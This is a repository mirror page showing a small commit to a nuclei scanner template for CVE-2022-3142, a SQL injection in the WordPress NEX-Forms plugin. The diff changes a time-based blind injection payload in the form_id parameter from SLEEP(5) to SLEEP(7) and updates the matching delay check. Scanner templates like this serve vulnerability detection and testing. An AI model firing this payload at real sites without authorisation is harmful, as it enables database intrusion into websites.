daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2022-3142.yaml

patch-1
J4vaovo 2024-02-06 23:37:02 +08:00 committed by GitHub
parent 8fce4f6d8e
commit baa1acee95
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 3 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
http/cves/2022/CVE-2022-3142.yaml
View File

@ -40,13 +40,13 @@ http:
log={{username}}&pwd={{password}}&wp-submit=Log+In log={{username}}&pwd={{password}}&wp-submit=Log+In
- | - |
@timeout: 30s @timeout: 30s
GET /wp-admin/admin.php?page=nex-forms-dashboard&form_id=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(5)))b)-- HTTP/1.1 GET /wp-admin/admin.php?page=nex-forms-dashboard&form_id=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(7)))b)-- HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
matchers: matchers:
- type: dsl - type: dsl
dsl: dsl:
- 'duration>=5' - 'duration>=7'
- 'status_code_2 == 200' - 'status_code_2 == 200'
- 'contains(body_2, "NEX-Forms")' - 'contains(body_2, "NEX-Forms")'
- 'contains(content_type_2, "text/html")' - 'contains(content_type_2, "text/html")'